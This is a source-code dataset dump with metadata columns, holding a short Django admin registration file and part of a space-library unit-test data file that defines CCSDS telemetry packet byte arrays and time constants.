hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1ada41c174e08b929d3d7bf9ab1f0f24b13058f3
| 189
|
py
|
Python
|
servicebox/tenancy/admin.py
|
FlxPeters/servicebox
|
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
|
[
"Apache-2.0"
] | null | null | null |
servicebox/tenancy/admin.py
|
FlxPeters/servicebox
|
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
|
[
"Apache-2.0"
] | null | null | null |
servicebox/tenancy/admin.py
|
FlxPeters/servicebox
|
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
from .models import Tenant, TenantGroup
from mptt.admin import MPTTModelAdmin
admin.site.register(TenantGroup, MPTTModelAdmin)
admin.site.register(Tenant)
| 27
| 48
| 0.84127
| 24
| 189
| 6.625
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| 0.238994
| 0.289308
| 0.389937
| 0
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| 0
| 0
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| 0.089947
| 189
| 6
| 49
| 31.5
| 0.924419
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| 0
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| 0
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| 0
| 0
| 0
| 1
| 0
| true
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| 0
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| 0
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| 0
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| null | 0
| 0
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| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
1ae528b0b3c66ec299c29d01fe2ed3cbe07122b6
| 47,578
|
py
|
Python
|
UnitTest/testData.py
|
STRATOLOGIC/SpacePyLibrary
|
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
|
[
"MIT"
] | 22
|
2015-01-22T13:40:22.000Z
|
2022-02-19T02:03:12.000Z
|
UnitTest/testData.py
|
STRATOLOGIC/SpacePyLibrary
|
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
|
[
"MIT"
] | 3
|
2018-09-28T13:14:40.000Z
|
2022-02-08T14:19:13.000Z
|
UnitTest/testData.py
|
STRATOLOGIC/SpacePyLibrary
|
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
|
[
"MIT"
] | 11
|
2016-06-01T11:53:56.000Z
|
2022-02-08T14:19:34.000Z
|
#******************************************************************************
# (C) 2018, Stefan Korner, Austria *
# *
# The Space Python Library is free software; you can redistribute it and/or *
# modify it under under the terms of the MIT License as published by the *
# Massachusetts Institute of Technology. *
# *
# The Space Python Library is distributed in the hope that it will be useful, *
# but WITHOUT ANY WARRANTY; without even the implied warranty of *
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the MIT License *
# for more details. *
#******************************************************************************
# Test Data for Unit Tests *
#******************************************************************************
import array
from UTIL.DU import BITS, BYTES, UNSIGNED, STRING, TIME
import CCSDS.PACKET, CCSDS.SEGMENT, CCSDS.TIME
#############
# constants #
#############
ZERO_CUC2_TIME_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
CUC2_TIME1_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x01]
CUC2_TIME2_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x02]
CUC2_TIME3_FIELD = [0x00, 0x00, 0x00, 0x00, 0x01, 0x00]
CUC2_TIME4_FIELD = [0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE]
CUC2_TIME5_FIELD = [0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF]
CUC2_TIME6_FIELD = [0x3A, 0xD7, 0x27, 0x48, 0x00, 0x00]
CUC2_TIME1_STR = "1980.005.23.59.45.000015"
CUC2_TIME2_STR = "1980.005.23.59.45.000031"
CUC2_TIME3_STR = "1980.005.23.59.45.003906"
CUC2_TIME4_STR = "1980.005.23.59.45.999969"
CUC2_TIME5_STR = "1980.005.23.59.45.999985"
CUC2_TIME6_STR = "2011.108.16.20.09.000000"
CUC2_TIME_DU_BYTE_SIZE = 6
CUC2_TIME_DU_ATTRIBUTES = {
"time": (0, CCSDS.TIME.TIME_FORMAT_CUC2, TIME)}
TM_PACKET_01 = [
0x08, 0x44, 0xC0, 0x00, 0x00, 0x0F, 0x10, 0x01,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
TM_PACKET_01_versionNumber = 0
TM_PACKET_01_packetType = 0
TM_PACKET_01_dataFieldHeaderFlag = 1
TM_PACKET_01_applicationProcessId = 68
TM_PACKET_01_segmentationFlags = CCSDS.PACKET.UNSEGMENTED
TM_PACKET_01_sequenceControlCount = 0
TM_PACKET_01_packetLength = 15
TM_PACKET_01_pusVersionNumber = 1
TM_PACKET_01_serviceType = 1
TM_PACKET_01_serviceSubType = 1
TM_PACKET_02 = [
0x08, 0xA0, 0xC0, 0x00, 0x01, 0xC9, 0x10, 0x03,
0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x80]
TM_PACKET_02_versionNumber = 0
TM_PACKET_02_packetType = 0
TM_PACKET_02_dataFieldHeaderFlag = 1
TM_PACKET_02_applicationProcessId = 160
TM_PACKET_02_segmentationFlags = CCSDS.PACKET.UNSEGMENTED
TM_PACKET_02_sequenceControlCount = 0
TM_PACKET_02_packetLength = 457
TM_PACKET_02_pusVersionNumber = 1
TM_PACKET_02_serviceType = 3
TM_PACKET_02_serviceSubType = 25
TM_PACKET_03_SPID = 12345
TM_PACKET_03 = [
0x0C, 0xD2, 0xC0, 0x00, 0x00, 0x26, 0x10, 0x03,
0x19, 0x00, 0x5B, 0xA6, 0xC7, 0x69, 0x5D, 0x12,
0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD1, 0xD1]
TM_PACKET_03_versionNumber = 0
TM_PACKET_03_packetType = 0
TM_PACKET_03_dataFieldHeaderFlag = 1
TM_PACKET_03_applicationProcessId = 1234
TM_PACKET_03_segmentationFlags = CCSDS.PACKET.UNSEGMENTED
TM_PACKET_03_sequenceControlCount = 0
TM_PACKET_03_packetLength = 38
TM_PACKET_03_pusVersionNumber = 1
TM_PACKET_03_serviceType = 3
TM_PACKET_03_serviceSubType = 25
TM_PACKET_04 = [
0x0C, 0xD2, 0xC0, 0x00, 0x08, 0x20, 0x10, 0x08,
0x02, 0x00, 0x5B, 0xA6, 0xC7, 0x69, 0x5D, 0x12,
0x12, 0x34, 0x56, 0x78, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
